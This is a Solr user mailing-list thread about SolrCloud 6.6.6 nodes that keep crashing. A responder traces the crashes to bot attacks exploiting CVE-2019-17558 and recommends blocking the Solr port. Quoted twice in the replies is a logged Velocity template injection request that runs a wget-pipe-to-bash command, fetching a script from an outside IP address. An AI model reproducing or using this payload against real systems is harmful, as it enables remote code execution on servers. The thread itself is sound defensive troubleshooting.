Re: SolrCloud keeps crashing

[TK Solr]

Oops, I should have referenced this document rather:

https://www.tenable.com/cve/CVE-2019-17558 



On 2/3/21 2:42 PM, TK Solr wrote:

Victor & Satish,

Is your Solr accessible from the Internet by anyone? If so, your site is being 
attacked by a bot using this security hole:


https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability 



If that is the case, try blocking the Solr port from the Internet.

My client's Solr was experiencing the sudden death syndrome. In the log, there 
were strange queries very similar to what you have here:


webapp=/solr path=/select 
params={*q=1=custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec($str.valueOf('bash,-c,wget+-q+-O+-+http://193.122.159.179/f.sh+|bash').split(",")))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end=velocity*} 
status=400 QTime=1
2020-12-20 08:49:07.029 INFO  (qtp401424608-8687) 
[c:sitecore_submittals_index s:shard1 r:core_node1 
x:sitecore_submittals_index_shard1_replica3] o.a.s.c.PluginBag Going to 
create a new queryResponseWriter with {type = queryResponseWriter,name = 
velocity,class = solr.VelocityResponseWriter,attributes = {startup=lazy, 
name=velocity, class=solr.VelocityResponseWriter, template.base.dir=, 
solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args 
= 
{startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}


We configured the firewall to block the Solr port. After that, my client's 
Solr node has been running for 4 weeks so far.  I think this security hole 
doesn't just leak the information but it can also kill the Solr process.


TK

Re: SolrCloud keeps crashing

[TK Solr]

Victor & Satish,

Is your Solr accessible from the Internet by anyone? If so, your site is being 
attacked by a bot using this security hole:


https://www.tenable.com/blog/cve-2019-17558-apache-solr-vulnerable-to-remote-code-execution-zero-day-vulnerability

If that is the case, try blocking the Solr port from the Internet.

My client's Solr was experiencing the sudden death syndrome. In the log, there 
were strange queries very similar to what you have here:



webapp=/solr path=/select 
params={*q=1=custom=#set($x%3D'')+#set($rt%3D$x.class.forName('java.lang.Runtime'))+#set($chr%3D$x.class.forName('java.lang.Character'))+#set($str%3D$x.class.forName('java.lang.String'))+#set($ex%3D$rt.getRuntime().exec($str.valueOf('bash,-c,wget+-q+-O+-+http://193.122.159.179/f.sh+|bash').split(",")))+$ex.waitFor()+#set($out%3D$ex.getInputStream())+#foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end=velocity*}
 status=400 QTime=1
2020-12-20 08:49:07.029 INFO  (qtp401424608-8687) [c:sitecore_submittals_index 
s:shard1 r:core_node1 x:sitecore_submittals_index_shard1_replica3] 
o.a.s.c.PluginBag Going to create a new queryResponseWriter with {type = 
queryResponseWriter,name = velocity,class = 
solr.VelocityResponseWriter,attributes = {startup=lazy, name=velocity, 
class=solr.VelocityResponseWriter, template.base.dir=, 
solr.resource.loader.enabled=true, params.resource.loader.enabled=true},args = 
{startup=lazy,template.base.dir=,solr.resource.loader.enabled=true,params.resource.loader.enabled=true}}


We configured the firewall to block the Solr port. After that, my client's Solr 
node has been running for 4 weeks so far.  I think this security hole doesn't 
just leak the information but it can also kill the Solr process.


TK

Re: SolrCloud keeps crashing

[Satish Silveri]

I am facing the same issue. Did u find any solution for this?




--
Sent from: https://lucene.472066.n3.nabble.com/Solr-User-f472068.html

SolrCloud keeps crashing

[Victor Kretzer]

My setup:
3 SolrCloud 6.6.6 nodes and 3 zookeeper 3.4.14 nodes running on 3 Azure Ubuntu 
18.04 LTS VMs (1 solr/1 zk per machine).

My issue:
Every few days (1-3 days usually) I come on to find 2 of me 3 nodes down. I'm 
looking at the logs and not seeing an out of memory error. I do see in the 
solr_gc.logs that the gc is running more and more frequently. I also see some 
illegal type errors in the solr logs. But I'm not sure what the actual cause of 
the crash is and my understanding of garbage collection is rudimentary, at best.
Is there an obvious cause in the logs that I'm not understanding or do I need 
to turn to some other resource to trouble these issues?

Below is part of my logs. I can include more if helpful but they are very long. 
(>10k lines for solr.log, >53k lines for the gc.log). Please let me know if 
there is any additional information I can provide and thank you in advance for 
your help.


***
solr.log
***
2020-12-20 08:49:02.802 ERROR (qtp401424608-8936) 
[c:sitecore_submittals_index_sec s:shard1 r:core_node1 
x:sitecore_submittals_index_sec_shard1_replica2] o.a.s.s.HttpSolrCall 
null:org.apache.velocity.exception.MethodInvocationException: Invocation of 
method 'toChars' in  class java.lang.Class threw exception 
java.lang.IllegalArgumentException at custom.vm[line 1, column 376]
at 
org.apache.velocity.runtime.parser.node.ASTMethod.handleInvocationException(ASTMethod.java:243)
at 
org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:187)
at 
org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at 
org.apache.velocity.runtime.parser.node.ASTReference.value(ASTReference.java:567)
at 
org.apache.velocity.runtime.parser.node.ASTMethod.execute(ASTMethod.java:151)
at 
org.apache.velocity.runtime.parser.node.ASTReference.execute(ASTReference.java:280)
at 
org.apache.velocity.runtime.parser.node.ASTReference.render(ASTReference.java:369)
at 
org.apache.velocity.runtime.parser.node.ASTBlock.render(ASTBlock.java:72)
at 
org.apache.velocity.runtime.directive.Foreach.render(Foreach.java:420)
at 
org.apache.velocity.runtime.parser.node.ASTDirective.render(ASTDirective.java:207)
at 
org.apache.velocity.runtime.parser.node.SimpleNode.render(SimpleNode.java:342)
at org.apache.velocity.Template.merge(Template.java:356)
at org.apache.velocity.Template.merge(Template.java:260)
at 
org.apache.solr.response.VelocityResponseWriter.write(VelocityResponseWriter.java:169)
at 
org.apache.solr.response.QueryResponseWriterUtil.writeQueryResponse(QueryResponseWriterUtil.java:65)
at 
org.apache.solr.servlet.HttpSolrCall.writeResponse(HttpSolrCall.java:810)
at 
org.apache.solr.servlet.HttpSolrCall.call(HttpSolrCall.java:539)
at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:361)
at 
org.apache.solr.servlet.SolrDispatchFilter.doFilter(SolrDispatchFilter.java:305)
at 
org.eclipse.jetty.servlet.ServletHandler$CachedChain.doFilter(ServletHandler.java:1691)
at 
org.eclipse.jetty.servlet.ServletHandler.doHandle(ServletHandler.java:582)
at 
org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:143)
at 
org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:548)
at 
org.eclipse.jetty.server.session.SessionHandler.doHandle(SessionHandler.java:226)
at 
org.eclipse.jetty.server.handler.ContextHandler.doHandle(ContextHandler.java:1180)
at 
org.eclipse.jetty.servlet.ServletHandler.doScope(ServletHandler.java:512)
at 
org.eclipse.jetty.server.session.SessionHandler.doScope(SessionHandler.java:185)
at 
org.eclipse.jetty.server.handler.ContextHandler.doScope(ContextHandler.java:1112)
at 
org.eclipse.jetty.server.handler.ScopedHandler.handle(ScopedHandler.java:141)
at 
org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:213)
at 
org.eclipse.jetty.server.handler.HandlerCollection.handle(HandlerCollection.java:119)
at 
org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at 
org.eclipse.jetty.rewrite.handler.RewriteHandler.handle(RewriteHandler.java:335)
at 
org.eclipse.jetty.server.handler.HandlerWrapper.handle(HandlerWrapper.java:134)
at org.eclipse.jetty.server.Server.handle(Server.java:534)
at 
org.eclipse.jetty.server.HttpChannel.handle(HttpChannel.java:320)
at